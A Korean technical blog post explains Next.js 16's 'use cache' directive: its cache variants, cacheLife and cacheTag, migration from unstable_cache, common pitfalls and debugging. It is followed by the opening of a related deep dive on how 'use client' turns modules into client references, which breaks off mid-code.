  // sessionId가 자동으로 캐시 키에 들어감
  return <div>{await fetchProfile(sessionId)}</div>
}
```

`cookies()`를 외부에서 한 번 부르고, 그 값을 props로 넘긴다. props는 자동으로 캐시 키의 일부가 되니까, 사용자별로 분리된 엔트리가 만들어진다.

### (2) `'use cache: private'`

```tsx
async function getProfile() {
  'use cache: private'
  cacheLife({stale: 60})
  const session = (await cookies()).get('session')?.value
  return fetchProfile(session)
}
```

`private`은 `cookies()`/`headers()`/`searchParams` 접근을 허용한다. 단 — 결과는 **서버에 저장되지 않는다**. 매 서버 렌더마다 함수가 실행되고, 결과는 클라이언트의 브라우저 메모리에만 캐시된다. 페이지 reload를 넘어서 유지되지 않는다. compliance 요구사항이나, request 데이터를 인자로 빼기가 정말 어려운 레거시 코드에 쓴다. v16 시점 experimental이며 Route Handler에서는 사용 불가다. `stale`은 30초 이상이어야 runtime prefetching이 동작한다.

### (3) `'use cache: remote'`

```tsx
async function getProductPrice(productId: string, currency: string) {
  'use cache: remote'
  cacheLife({expire: 3600})
  return db.products.getPrice(productId, currency)
}
```

remote 핸들러에 저장해 모든 인스턴스가 공유한다. 단 `cookies()`/`headers()`는 여전히 직접 호출 불가 — 외부에서 인자로 빼는 것은 (1)과 같다. remote의 가치는 짧은 TTL 자체가 아니라 **공유**다. rate-limited API 보호, 느린 backend 보호, 비싼 연산의 재사용 같은 명확한 동기가 있을 때 쓴다.

## React.cache 격리

`'use cache'` 안에서 `React.cache`로 만든 store는 외부 store와 격리된다.

```tsx
import {cache} from 'react'

const store = cache(() => ({current: null as string | null}))

function Parent() {
  const shared = store()
  shared.current = 'value from parent'
  return <Child />
}

async function Child() {
  'use cache'
  const shared = store()
  // shared.current는 null — 외부 Parent의 값이 안 보임
  return <div>{shared.current}</div>
}
```

이유는 — `'use cache'`는 자기 안에서 별도의 React.cache 스코프를 만들기 때문이다. 외부의 `cache()`로 받은 store와 내부의 `cache()`로 받은 store는 같은 함수에서 만들어졌어도 다른 인스턴스다. 캐시 함수는 자기 인자만으로 결정 가능해야 한다는 원칙의 강제다.

이건 잘 모르고 쓰면 디버깅이 어려운 함정이다. "분명히 store에 값을 넣었는데 안 보임" — 캐시 경계를 넘었는지부터 확인.

## Cache Components와 PPR

여기까지가 `'use cache'`의 단일 디렉티브 동작이고, 이걸 큰 그림에 끼워 넣으면 **Cache Components**다. `cacheComponents: true` 설정 한 줄이 켜는 새 모델은, 한 페이지 안에 세 종류의 콘텐츠가 공존할 수 있게 한다.

```tsx
export default function Page() {
  return (
    <>
      {/* (1) Static — 동기 코드, 빌드 타임에 prerender */}
      <header>
        <h1>Dashboard</h1>
      </header>

      {/* (2) Cached — 'use cache', 빌드 타임 prerender + 런타임 SWR */}
      <Stats />

      {/* (3) Dynamic — Suspense로 감싸 요청 타임에 stream */}
      <Suspense fallback={<NotificationsSkeleton />}>
        <Notifications />
      </Suspense>
    </>
  )
}

async function Stats() {
  'use cache'
  cacheLife('hours')
  return <StatsView data={await db.stats.aggregate()} />
}

async function Notifications() {
  const userId = (await cookies()).get('userId')?.value
  return (
    <NotificationList
      items={await db.notifications.findMany({where: {userId}})}
    />
  )
}
```

각 영역의 흐름은 다음과 같다.

- **Static**: 빌드 산출물의 일부. 첫 바이트가 CDN에서 즉시 응답.
- **Cached**: 빌드 시점에 prerender되어 있고, 런타임에는 cacheHandler가 응답. 만료되면 SWR.
- **Dynamic**: Suspense boundary가 placeholder를 즉시 보낸 뒤, 서버에서 fetch가 끝나는 대로 stream.

이게 PPR (Partial Prerendering)이다. `'use cache'`는 PPR의 두 번째 영역을 만드는 마커다 — "이건 prerender 가능하지만, 영원히는 아니다"라고 표시하는 것.

> Next.js 16에서 `experimental.ppr` 플래그는 사라졌다. `cacheComponents: true`가 그 자리를 차지했다.

## unstable_cache → use cache 마이그레이션

`unstable_cache`는 Next.js 13~15의 `'use cache'` 전신이었다. v16부터는 deprecate됐다. 단순 데이터 fetch 케이스는 비교적 기계적으로 옮길 수 있지만, **`'use cache'`는 Cache Components 모델과 SWC transform에 묶이므로 `unstable_cache`의 완전한 drop-in replacement는 아니다**. 특히 request-scoped 데이터 처리, 동적 키 설계, runtime caching 위치는 다시 검토해야 한다.

```tsx
// 이전
import {unstable_cache} from 'next/cache'

const getCachedUser = unstable_cache(
  async (id) => getUser(id),
  ['my-app-user'], // keyParts
  {tags: ['users'], revalidate: 60},
)

// 이후
import {cacheLife, cacheTag} from 'next/cache'

async function getCachedUser(id: string) {
  'use cache'
  cacheTag('users')
  cacheLife({revalidate: 60})
  return getUser(id)
}
```

차이점.

- **수동 keyParts가 사라진다.** SWC가 함수 ID와 인자를 자동으로 키에 넣는다. 사람이 `['my-app-user']` 같은 문자열을 관리할 필요가 없다.
- **tags는 cacheTag로.** `options.tags`는 함수 본문 안의 `cacheTag()` 호출이 됐다. 동적 태그(데이터에 따라 다른 태그)도 가능해졌다.
- **revalidate는 cacheLife로.** `options.revalidate: 60`은 `cacheLife({revalidate: 60})` 또는 `cacheLife('minutes')`.

같은 점.

- 둘 다 `cookies()`/`headers()` 직접 사용 불가.
- 둘 다 인자가 직렬화 가능해야 함.

마이그레이션 도중 두 API가 공존해도 된다. v16의 `unstable_cache`는 deprecation 경고만 띄우고 동작은 유지한다.

`force-dynamic` / `force-static`도 정리된다.

| Next.js 14~15                                   | Next.js 16 (Cache Components)        |
| ----------------------------------------------- | ------------------------------------ |
| `export const dynamic = 'force-dynamic'`        | 그냥 그대로 두기 (dynamic이 디폴트)  |
| `export const dynamic = 'force-static'`         | `'use cache'` + `cacheLife('max')`   |
| `export const revalidate = 60`                  | `cacheLife({revalidate: 60})`        |
| `unstable_cache(fn, [...], {tags, revalidate})` | `'use cache' + cacheTag + cacheLife` |

## 함정들

`'use cache'`의 모델이 익숙해질 때까지 쉽게 빠지는 함정들이다.

### 1. 빌드 hang (50초 timeout)

prerender 중 캐시 함수가 영원히 resolve되지 않는 Promise를 await하면, 50초 후에 timeout 에러가 난다.

```tsx
// 빌드 hang
async function Dynamic() {
  const cookieStore = cookies()
  return <Cached promise={cookieStore} />
}

async function Cached({promise}: {promise: Promise<unknown>}) {
  'use cache'
  const data = await promise // 빌드 타임에 영원히 안 옴
  return <p>{data}</p>
}
```

원인은 단순하다. `cookies()`는 request-scoped라 빌드 타임에 의미가 없다. Promise 자체를 props로 넘기면 캐시 함수가 그걸 await하다 영원히 멈춘다.

해결: `await`를 외부에서 끝내고 값을 넘긴다.

```tsx
async function Dynamic() {
  const session = (await cookies()).get('session')?.value
  return <Cached session={session} />
}

async function Cached({session}: {session: string | undefined}) {
  'use cache'
  return <p>{session}</p>
}
```

비슷하게, 외부에서 만든 Map에 dynamic Promise를 넣어두고 캐시 함수가 그걸 가져다 쓰는 패턴도 hang을 만든다.

```tsx
const sharedCache = new Map<string, Promise<string>>()

async function Dynamic({id}: {id: string}) {
  sharedCache.set(
    id,
    fetch(`/api/${id}`).then((r) => r.text()),
  )
  return null
}

async function Cached({id}: {id: string}) {
  'use cache'
  return <p>{await sharedCache.get(id)}</p> // hang
}
```

해결: 캐시 함수와 dynamic 함수가 같은 storage를 공유하지 않게 한다. fetch dedup이 필요하면 Next.js 내장 `fetch()` 메모이제이션을 쓰거나, Map을 별도로 둔다.

### 2. Math.random / Date.now가 빌드 타임에 한 번만 실행

```tsx
async function getId() {
  'use cache'
  cacheLife('max')
  return crypto.randomUUID() // 빌드 타임에 한 번 — 모든 요청이 같은 UUID
}
```

캐시 함수의 본문은 캐시 미스 때만 실행되고, 결과는 다음 요청부터 재사용된다. `Math.random()`/`Date.now()`가 매 요청마다 새로 계산된다고 생각하면 함정이다.

요청별로 다른 값이 필요하면 캐시 밖으로 빼거나, `next/server`의 `connection()`을 써서 dynamic으로 강제한다.

```tsx
import {connection} from 'next/server'

async function DynamicContent() {
  await connection() // 요청 타임으로 미룬다
  const id = crypto.randomUUID() // 요청마다 다름
  return <div>{id}</div>
}
```

### 3. Edge runtime 미지원

`'use cache'`는 Node.js runtime에서만 동작한다. `runtime = 'edge'`로 설정한 라우트에서 쓰면 빌드 에러.

이유는 cacheHandler의 기본 in-memory 구현과 RDC가 Node.js 전용 모듈에 의존하기 때문이다. Edge runtime은 V8 isolate에서 도는 제한된 환경이라 같은 구현이 안 들어간다.

### 4. Static export 미지원

`output: 'export'`로 정적 사이트만 만드는 모드는 `'use cache'`를 못 쓴다. 런타임 cacheHandler가 필요한 SWR/태그 무효화가 정적 export에서는 작동할 곳이 없으니까.

### 5. 직렬화 실수: 클래스 인스턴스

```tsx
class User {
  constructor(public name: string) {}
  greet() {
    return `hi ${this.name}`
  }
}

async function welcome(user: User) {
  'use cache'
  return user.greet() // Error at call site
}
```

클래스 인스턴스는 메서드와 프로토타입을 가져 직렬화가 안 된다. plain object로 바꿔서 넘기거나, 클래스 동작이 필요하면 함수 호출 결과만 인자로 넘긴다.

### 6. URL 인스턴스도 안 된다

```tsx
async function fetchAt(url: URL) {
  'use cache'
  return fetch(url) // 직렬화 에러
}

// 해결: 문자열로
async function fetchAt(url: string) {
  'use cache'
  return fetch(url)
}
```

### 7. 같은 페이지에 layout과 page 모두 'use cache'를 쓰면 두 개의 엔트리

```tsx
// app/layout.tsx
'use cache'
export default async function Layout({children}) {
  return <div>{children}</div>
}

// app/page.tsx
;('use cache')
export default async function Page() {
  return <main>...</main>
}
```

각 segment가 독립적인 캐시 엔트리다. 라우트 전체를 정적으로 만들고 싶으면 둘 다 `'use cache'`를 달아야 한다. 한쪽만 달면 다른 쪽이 dynamic이 되어 라우트 전체가 dynamic으로 빠진다.

## 디버깅: 무엇이 캐시되고 안 캐시되는가

내가 쓴 `'use cache'`가 실제로 hit하고 있는지 확인하는 방법.

### 환경 변수

```bash
NEXT_PRIVATE_DEBUG_CACHE=1 next dev
```

이걸 켜면 콘솔에 캐시 hit/miss와 키가 출력된다. 키가 매 요청마다 달라지면 — 아마 인자 직렬화에서 매번 다른 값이 끼어드는 것. 클로저로 잡힌 변수가 매 호출마다 바뀌는지 확인.

### 콘솔 로그 prefix

dev 모드에서 캐시 함수의 `console.log`는 `Cache`라는 prefix와 함께 다시 출력된다 — replay된 결과라는 표시다. prefix가 없는 로그는 본문이 실제로 실행됐다는 뜻이고, prefix가 있으면 캐시에서 replay된 것이다.

### `x-nextjs-stale-time` 헤더

응답 헤더에 이게 있으면 클라이언트 라우터의 stale time이다. cacheLife의 stale 값과 일치하는지 확인. 안 맞으면 — 30초 minimum 강제가 적용됐을 가능성이 크다.

## 'use client' / 'use server' / 'use cache': 같은 모델, 다른 방향

세 디렉티브를 같은 그림에 놓으면 공통 구조가 보인다.

| 디렉티브       | 변환 대상 | 박히는 ID            | 직렬화되는 것    | 경계의 의미             |
| -------------- | --------- | -------------------- | ---------------- | ----------------------- |
| `'use client'` | 모듈      | 모듈 ID + chunk 정보 | 컴포넌트 props   | RSC → Client (참조로)   |
| `'use server'` | 함수      | SHA1 함수 ID         | 함수 인자 + 결과 | Client → Server (RPC)   |
| `'use cache'`  | 함수      | SHA1 함수 ID         | 함수 인자 + 결과 | Caller → Cache (lookup) |

세 디렉티브 모두 — SWC가 함수/모듈을 ID와 함께 메타데이터 객체로 다시 쓴다. ID로 시스템 경계를 넘기고, 인자/props를 Flight 직렬화로 보내고, 결과를 다시 받아온다. 차이는 경계의 종류다.

- `'use client'`은 **rendering layer**의 경계. 결과는 같은 요청 안에서 본다.
- `'use server'`는 **process**의 경계. 결과는 RPC 응답으로 온다.
- `'use cache'`는 **시간**의 경계. 결과는 미래의 요청이 본다.

세 도구가 같은 Flight 직렬화기를 공유하는 게 우연이 아닌 이유다. 모두 "함수와 데이터를 시스템 경계 너머로 안전하게 옮기는" 문제고, Flight는 React가 그 문제에 답한 단일 솔루션이다.

## 전체 아키텍처

기본 `'use cache'` / `'use cache: remote'` 흐름:

```mermaid
flowchart TD
  A["'use cache' function"] --> B["SWC transform<br/>server_actions.rs"]
  B --> C["$$cache0$$ hoisted body"]
  B --> D["$$reactCache__ wrapper call<br/>cache_kind, id, bound count"]

  D --> E["Runtime: cache() wrapper<br/>use-cache-wrapper.ts"]
  E --> F["encodeReply(args)<br/>Flight serialization"]
  F --> G["cacheKey = [buildId, id, args, hmrHash?]"]

  G --> H{"RDC lookup<br/>(per-page)"}
  H -->|hit| Z["Return entry"]
  H -->|miss| I{"cacheHandler<br/>(in-memory or remote)"}

  I -->|hit fresh| Z
  I -->|hit stale| J["Return entry +<br/>background regenerate"]
  I -->|miss/expired| K["generateCacheEntry"]

  K --> L["renderToReadableStream"]
  L --> M["collectResult<br/>tags + revalidate + expire + stale"]
  M --> N["saveToResumeDataCache +<br/>saveToCacheHandler"]
  N --> Z
```

`'use cache: private'`은 위 흐름과 다르다 — 서버에서는 매 렌더마다 본문이 실행되고, 결과는 응답을 통해 클라이언트의 브라우저 메모리 캐시로만 저장된다. 서버 cacheHandler 분기를 타지 않는다.

## 마치며

`'use cache'` 한 줄 뒤에 숨어있는 것들을 정리하면.

1. **`'use cache'`는 함수 호출을 캐시 lookup으로 치환하는 마커다.** `useMemo`/`React.cache`와 다르게 빌드 시 static shell에 포함되거나 런타임에서는 in-memory/cache handler 계층에 저장되며, 직렬화된 인자로 키를 만든다.

2. **빌드 타임 변환**: SWC가 `'use cache'` 함수 본문을 모듈 최상위로 hoist하고, 원본 자리에는 `$$reactCache__` 래퍼 호출을 박는다. 클로저 변수는 명시적인 bound args 배열로 추출된다. 함수 ID는 함수의 위치·export/reference name·인자 사용 정보(argument mask) 등에 묶인 secure hash이며, deploy 단위의 전체 무효화는 캐시 키에 포함된 buildId가 담당한다.

3. **런타임 캐시 키**: `[buildId, id, args, hmrRefreshHash?]`. buildId가 deploy마다 바뀌어 자동 무효화, id는 함수 위치에 묶여 코드 변경에 반응, args는 Flight `encodeReply`로 직렬화. 클로저는 args의 일부니까 자동으로 키에 들어간다.

4. **두 단계 lookup (기본 `'use cache'`)**: RDC(페이지 스코프 in-process) → cacheHandler. `'use cache: remote'`는 외부 핸들러를 사용. **`'use cache: private'`은 서버에 저장하지 않고 매 렌더마다 실행**되며, 결과는 브라우저 메모리에만 캐시된다.

5. **cacheLife 7개 빌트인 프로필**: `default`/`seconds`/`minutes`/`hours`/`days`/`weeks`/`max`. stale은 모두 5분(클라이언트 prefetch 유지), revalidate/expire가 다르다. nested cache에서 **명시적 outer는 자기 값이 우선**(내부 lifetime은 외부 hit 동안 관측되지 않음). 명시 없는 outer만 내부의 짧은 값에 깎인다 — 그래서 항상 명시하는 편이 안전하다.

6. **cacheTag/revalidateTag/updateTag**: 태그 기반 무효화. `revalidateTag(tag, 'max')`가 SWR (Server Action + Route Handler), `revalidateTag(tag, {expire: 0})`은 webhook용 즉시 만료, `updateTag`는 Server Action 전용 즉시 폐기 (read-your-own-writes). 단일 인자 `revalidateTag(tag)`는 deprecated이며 SWR이 아니다 — `'max'`로 마이그레이션 필요.

7. **직렬화 비대칭**: 인자는 Server Component serialization (엄격), 리턴값은 Client Component serialization + JSX. children/Server Action은 pass-through로 받을 수 있지만 본문에서 introspect하면 안 된다.

8. **런타임 API 제약과 우회**: `cookies()`/`headers()` 직접 호출 금지. (a) 외부에서 인자로 빼서 전달이 권장. (b) `'use cache: private'`은 cookies/headers를 허용하지만 **서버에 저장하지 않고 브라우저 메모리에만 저장**된다 — 서버 dedup 도구가 아니다. (c) `'use cache: remote'`는 외부 핸들러로 인스턴스 간 공유 — 짧은 TTL 자체가 아니라 공유 동기가 명확할 때 쓴다.

9. **Cache Components와 PPR**: `cacheComponents: true`가 켜는 새 모델에서 한 페이지가 static + cached + dynamic 세 영역으로 쪼개진다. `'use cache'`는 두 번째 영역을 만드는 마커.

10. **함정**: 빌드 hang (50초 timeout, request-scoped Promise를 await하지 말 것), 클래스 인스턴스/URL 직렬화 불가, Edge runtime 미지원, static export 미지원, React.cache 격리.

`'use cache'`는 단순한 디렉티브 문자열처럼 보이지만, 그 뒤에는 SWC AST 변환, Flight 직렬화, ALS 기반 메타데이터 propagation, 두 단계 캐시 lookup, SWR 흐름, 그리고 PPR 통합까지 — 여러 시스템의 합주가 있다. 이 합주를 이해하고 나면 어떤 함수에 `'use cache'`를 붙일지, 어떤 cacheLife를 줄지, 어떤 태그로 무효화 경로를 설계할지에 대한 판단이 훨씬 단단해진다.

다만 이 모든 구조를 이해했다는 것이 곧 모든 화면에 `'use cache'`를 붙여야 한다는 뜻은 아니다. 권한, 개인화, mutation, compliance가 얽힌 엔터프라이즈 앱에서는 캐시 키와 무효화 경로를 설명할 수 있는 작은 영역에만 제한적으로 적용하는 것이 안전하다.

[`'use server'` 글](/2026/03/react-server-functions-deep-dive)이 클라이언트 → 서버 방향의 process 경계, [`'use client'` 글](/2026/05/use-client-deep-dive)이 서버 → 클라이언트 방향의 rendering 경계였다면, 이 글은 caller → cache 방향의 시간 경계다. 세 디렉티브를 함께 보고 나면 React/Next.js의 컴포지션 모델 전체를 잡을 수 있다 — 모든 경계가 같은 ID + 직렬화 + 메타데이터의 패턴으로 풀린다는 것까지.

레이어 전체 시각이 필요하면 [Next.js 캐싱 가이드](/2025/12/nextjs-caching-deep-dive)를, 단일 디렉티브 단면이 궁금하면 이 글을 — 두 글이 가로/세로로 보완한다.

## 참고

[^1]: Next.js v16.2.4 기준 소스, [`crates/next-custom-transforms/src/transforms/server_actions.rs`](https://github.com/vercel/next.js/blob/v16.2.4/crates/next-custom-transforms/src/transforms/server_actions.rs). `'use cache'`/`'use cache: private'`/`'use cache: remote'`는 모두 `Directive::UseCache { cache_kind }`로 인식되며, `create_and_hoist_cache_function`이 본문을 hoist하고 `$$reactCache__` 호출로 치환한다.

[^2]: 같은 파일의 `generate_server_reference_id`. SHA1 hash of (salt, filename, export name)으로 함수 ID를 만든다. `'use server'`와 같은 함수를 공유한다.

[^3]: Next.js v16.2.4 기준 소스, [`packages/next/src/server/use-cache/use-cache-wrapper.ts`](https://github.com/vercel/next.js/blob/v16.2.4/packages/next/src/server/use-cache/use-cache-wrapper.ts). `cache()` export가 모든 `'use cache'` 함수의 런타임 진입점이며, `cacheKeyParts`, `generateCacheEntryImpl`, stale-while-revalidate 흐름이 여기 있다.

[^4]: React v19.2.0 기준 소스, [`packages/react-server-dom-webpack/src/client/ReactFlightReplyClient.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server-dom-webpack/src/client/ReactFlightReplyClient.js). `encodeReply` 함수가 캐시 인자 직렬화의 본체다.

[^5]: Next.js v16.2.4 기준 소스, [`packages/next/src/server/use-cache/cache-life.ts`](https://github.com/vercel/next.js/blob/v16.2.4/packages/next/src/server/use-cache/cache-life.ts). 프로필 머지, validation, ALS 기반 propagation 로직.

[^6]: Next.js 공식 문서, [`use cache` Directive](https://nextjs.org/docs/app/api-reference/directives/use-cache), [`cacheLife`](https://nextjs.org/docs/app/api-reference/functions/cacheLife), [`cacheTag`](https://nextjs.org/docs/app/api-reference/functions/cacheTag), [`updateTag`](https://nextjs.org/docs/app/api-reference/functions/updateTag).

---

Source: https://yceffort.kr/2026/05/use-client-deep-dive.md
Title: <em>'use client'</em> 디렉티브 딥다이브: 클라이언트 경계의 끝까지
Description: "use client" 한 줄이 만드는 모듈 경계, 빌드 타임 변환, Flight 직렬화, 그리고 성능까지
Date: 2026-05-01
Tags: react, nextjs, frontend
Series: 디렉티브 딥다이브

## Table of Contents

## 서론

```tsx
'use client'

import {useState} from 'react'

export function Counter() {
  const [count, setCount] = useState(0)
  return <button onClick={() => setCount(count + 1)}>{count}</button>
}
```

`'use client'` 한 줄. 이걸 파일 맨 위에 적는 순간, 이 모듈의 의미가 바뀐다. 단순히 "클라이언트에서 동작하는 코드"라는 표시가 아니다. 정확히는 **이 모듈이 클라이언트 번들 그래프의 진입점(entry point)** 이라는 마커다. **RSC 렌더러는 이 모듈의 본문을 평가하지 않는다.** 대신 모듈 경계에서 멈추고, "여기에 클라이언트 컴포넌트가 있다"는 **참조(reference)** 만 직렬화한다. 단, 같은 컴포넌트가 Next.js의 첫 응답 경로에서는 별도의 SSR 레이어에서 실행되어 초기 HTML 생성에 참여한다. **서버 측 렌더링 경로가 하나가 아니라는 뜻이다 — RSC 렌더러는 서버 컴포넌트 트리를 Flight Payload로 만들고, SSR 렌더러는 그 결과를 소비해 초기 HTML을 만든다. 이 과정에서 클라이언트 컴포넌트도 SSR 빌드의 구현으로 렌더링된다.** 이 구분은 뒤에서 따로 다룬다.

[이전 글](/2026/03/react-server-functions-deep-dive)에서는 `'use server'`가 어떻게 함수를 RPC 엔드포인트로 변환하는지 끝까지 따라갔다. 이번 글은 그 반대 방향이다. 서버 컴포넌트 트리 한가운데에 클라이언트 컴포넌트가 등장할 때, 빌드 타임에 어떻게 모듈이 분리되고, 런타임에 어떤 토큰이 Flight 스트림을 흐르고, 클라이언트가 어떻게 chunk를 로드해서 실제 컴포넌트로 살려내는가.

용어 정리부터 한다.

- **클라이언트 컴포넌트(Client Component)**: `'use client'` 모듈에서 export되어 React element의 type으로 사용되는 컴포넌트. 클라이언트(또는 SSR)에서 실행되며 hooks, 이벤트 핸들러, state를 사용할 수 있다.
- **클라이언트 참조(Client Reference)**: `'use client'` 모듈의 export를 RSC 서버가 직접 값으로 들고 있는 대신 사용하는 메타데이터 객체. `$$typeof`, `$$id`, `$$async` 속성을 가진다. 컴포넌트 함수일 수도 있고, Client Component에 prop으로 전달 가능한 다른 export일 수도 있다.
- **클라이언트 모듈 프록시(Client Module Proxy)**: 모듈 단위로 만들어지는 Proxy. 어떤 export에 접근하든 해당 export의 클라이언트 참조를 만들어낸다.

> 이 글의 소스 코드 분석은 **React 19.2**, **Next.js 16.2** 기준이다. 버전에 따라 내부 구현이 달라질 수 있다.
>
> 또한 이 글의 코드 인용은 webpack 경로를 따라간다. Next.js 16부터 `next dev` 기본은 Turbopack이지만, 두 번들러의 `'use client'` 처리는 거의 같다 — 핵심 동작 차이는 글 후반부 [Turbopack에서는 무엇이 다른가](#turbopack에서는-무엇이-다른가) 절에서 따로 정리한다.

## 'use client'는 진입점 마커다

가장 먼저 짚어야 할 오해가 있다. "`'use client'`를 적은 컴포넌트만 클라이언트가 되고, 그게 import하는 컴포넌트는 따로 표시해야 한다"는 생각이다. 정확히 반대다.

`'use client'` 디렉티브는 **모듈 그래프의 경계를 정의**한다. 더 정확히는, 서버 → 클라이언트로 넘어가는 **단방향 경계의 시작점**이다. 한 모듈에 `'use client'`가 있으면, 그 모듈이 import하는 모든 모듈은 — 별도로 `'use client'`를 적지 않아도 — 자동으로 클라이언트 번들 그래프에 포함된다.

```text
app/page.tsx           ← Server Component (default)
  └─ import Layout     ← Server Component
       └─ import Counter      ← 'use client' (경계!)
            └─ import { format } from './utils'   ← 자동으로 클라이언트
                 └─ import lodash               ← 자동으로 클라이언트
```

반대로, `'use client'` 모듈에서 다시 서버 모듈을 직접 import할 수는 없다. import 방향이 일방통행이다. 단, **`children` prop으로 서버 컴포넌트를 받는 것**은 가능하다. 이건 import가 아니라 prop으로 직렬화된 React element를 전달받는 것이기 때문이다. 이 점이 `'use client'`의 가장 중요한 멘탈 모델이다.

```tsx
// app/page.tsx (Server Component)
import {ClientShell} from './ClientShell'
import {ServerContent} from './ServerContent'

export default function Page() {
  return (
    <ClientShell>
      <ServerContent /> {/* OK — children prop으로 전달 */}
    </ClientShell>
  )
}
```

```tsx
// ClientShell.tsx
'use client'

export function ClientShell({children}: {children: React.ReactNode}) {
  return <div className="shell">{children}</div>
}
```

`ClientShell`은 `ServerContent`를 **import하지 않는다.** Server Component인 `Page`가 두 컴포넌트를 import해서 children으로 조립할 뿐이다. 이 차이가 React Server Components의 컴포지션 모델 전체를 떠받친다.

## 빌드 타임 변환: 같은 모듈, 레이어별로 다르게 빌드된다

`'use client'` 디렉티브는 런타임에 아무 효과가 없다. 진짜 일은 **빌드 타임**에 벌어진다. 그것도 한 모듈이 webpack의 여러 layer — RSC 서버, SSR, 브라우저 클라이언트 — 에서 서로 다른 형태로 컴파일된다. 같은 파일이지만 layer마다 다른 변환 규칙이 적용된다.

### RSC 서버 번들: 본문이 사라진 stub

Next.js의 `next-flight-loader`는 webpack의 RSC 서버 레이어에서 동작하면서, `'use client'` 모듈을 만나면 **원본 코드를 통째로 버리고** 클라이언트 참조로 대체한다. ESM 모듈에 대한 변환은 다음과 같다[^1].

```ts
// 원본: components/Counter.tsx
'use client'

import {useState} from 'react'

export function Counter({initial}: {initial: number}) {
  const [count, setCount] = useState(initial)
  return <button onClick={() => setCount(count + 1)}>{count}</button>
}
```

위 코드는 RSC 서버 번들에서 다음과 비슷한 형태로 변환된다.

```js
// RSC 서버 번들에 들어가는 형태 (개념적)
import {registerClientReference} from 'react-server-dom-webpack/server'

export const Counter = registerClientReference(
  function () {
    throw new Error(
      'Attempted to call Counter() from the server but Counter is on the client. ' +
        "It's not possible to invoke a client function from the server, " +
        'it can only be rendered as a Component or passed to props of a Client Component.',
    )
  },
  'components/Counter.tsx',
  'Counter',
)
```

핵심은 세 가지다.

1. **원본 함수 본문이 사라졌다.** `useState`, JSX, 이벤트 핸들러 — 클라이언트에서만 의미 있는 코드는 RSC 서버 번들에 단 한 글자도 포함되지 않는다.
2. **stub 함수에 메타데이터가 박힌다.** `registerClientReference`가 `$$typeof`, `$$id`, `$$async`를 주입한다. RSC 직렬화 시 이 stub을 만나면 본문 대신 메타데이터로 변환한다.
3. **stub을 호출하면 throw한다.** 서버에서 "함수처럼" 호출하는 실수를 했을 때 명확한 에러를 던진다. 클라이언트 컴포넌트는 React가 렌더링하는 대상이지, 직접 호출하는 함수가 아니다.

CommonJS 모듈에 대해서는 더 단순한 경로를 탄다 — 모듈 전체를 `createClientModuleProxy`의 Proxy로 대체한다(뒤에서 다룬다).

### 클라이언트 번들: 원본 그대로

같은 모듈은 클라이언트 번들에서는 본문이 그대로 남는다. webpack의 클라이언트 레이어는 `'use client'` 디렉티브를 (린트 외에는) 사실상 무시하고, 모듈을 평범한 자바스크립트로 컴파일한다. 그 결과 `Counter` 컴포넌트의 진짜 구현은 **클라이언트 chunk에만 존재**한다.

```text
원본 모듈 → ┬─ RSC 서버 빌드: 메타데이터 stub만
            └─ 클라이언트 빌드: 본문 그대로 + 별도 chunk
```

이 분리가 가능한 이유는 webpack의 **layer** 메커니즘 덕분이다. Next.js는 같은 webpack compilation 안에 `WEBPACK_LAYERS.reactServerComponents`(RSC), `WEBPACK_LAYERS.serverSideRendering`(SSR), `WEBPACK_LAYERS.actionBrowser`(액션 브라우저) 등 여러 레이어를 정의하고[^2], 같은 모듈도 어느 레이어에서 import되는지에 따라 다른 변환을 적용한다.

### registerClientReference의 본체

React 측 구현을 직접 보자. `react-server-dom-webpack/src/ReactFlightWebpackReferences.js`[^3]가 정답이다.

```js
const CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference')

export function registerClientReference(proxyImplementation, id, exportName) {
  return registerClientReferenceImpl(
    proxyImplementation,
    id + '#' + exportName,
    false, // async = false
  )
}

function registerClientReferenceImpl(proxyImplementation, id, async) {
  return Object.defineProperties(proxyImplementation, {
    $$typeof: {value: CLIENT_REFERENCE_TAG},
    $$id: {value: id},
    $$async: {value: async},
  })
}
```

서버 참조(`'use server'`) 때 봤던 `registerServerReference`와 데칼코마니다. 다른 점:

| 속성       | 클라이언트 참조                        | 서버 참조                              |
| ---------- | -------------------------------------- | -------------------------------------- |
| `$$typeof` | `Symbol.for('react.client.reference')` | `Symbol.for('react.server.reference')` |
| `$$id`     | `"moduleId#exportName"`                | `"moduleId#exportName"`                |
| `$$async`  | 모듈이 top-level await를 쓰는지        | (없음)                                 |
| `$$bound`  | (없음)                                 | `.bind()`로 누적된 인자들              |

`$$async`가 새로 등장했다. 모듈이 비동기(top-level await 등)인지를 표시한다. 클라이언트 측에서 chunk를 로드할 때 동기 require로 끝나는지, Promise를 await해야 하는지 결정한다.

### createClientModuleProxy: 한 번에 모듈 전체 감싸기

CJS 경로나 매니페스트 자동 생성이 어려운 경우에는 모듈 전체를 한 번에 클라이언트 참조로 만든다. 이때 `createClientModuleProxy`가 쓰인다.

```js
export function createClientModuleProxy(moduleId) {
  const clientReference = registerClientReferenceImpl({}, moduleId, false)
  return new Proxy(clientReference, proxyHandlers)
}

const proxyHandlers = {
  get: function (target, name, receiver) {
    return getReference(target, name)
  },
  getOwnPropertyDescriptor: function (target, name) {
    let descriptor = Object.getOwnPropertyDescriptor(target, name)
    if (!descriptor) {
      descriptor = {
        value: getReference(target, name),
        writable: false,
        configurable: false,
        enumerable: false,
      }
      Object.defineProperty(target, name, descriptor)
    }
    return descriptor
  },
  getPrototypeOf(target) {
    return PROMISE_PROTOTYPE
  },
  set: function () {
    throw new Error('Cannot assign to a client module from a server module.')
  },
}
```

빈 객체 `{}`에 모듈 ID를 박은 ClientReference를 만들고, 그걸 Proxy로 감싼다. 이 Proxy의 `get` 트랩이 핵심이다 — 어떤 export 이름으로 접근하든 `getReference(target, name)`이 호출된다.

```js
function getReference(target, name) {
  switch (name) {
    case '$$typeof':
      return target.$$typeof
    case '$$id':
      return target.$$id
    case '$$async':
      return target.$$async
    case 'name':
      return target.name
    case 'defaultProps':
      return undefined
    case '_debugInfo':
      return undefined
    case 'toJSON':
      return undefined
    case Symbol.toPrimitive:
      return Object.prototype[Symbol.toPrimitive]
    case Symbol.toStringTag:
      return Object.prototype[Symbol.toStringTag]
    case '__esModule':
      // ESM interop. default export까지 lazy로 만든다.
      target.default = registerClientReferenceImpl(
        function () {
          throw new Error('...')
        },
        target.$$id + '#',
        target.$$async,
      )
      return true
    case 'then':
      if (target.then) return target.then // 캐시 hit
      if (!target.$$async) {
        // 동기 모듈: thenable로 위장한다.
        // 자기 자신을 fulfilled value로 들고 있는 then을 만든다.
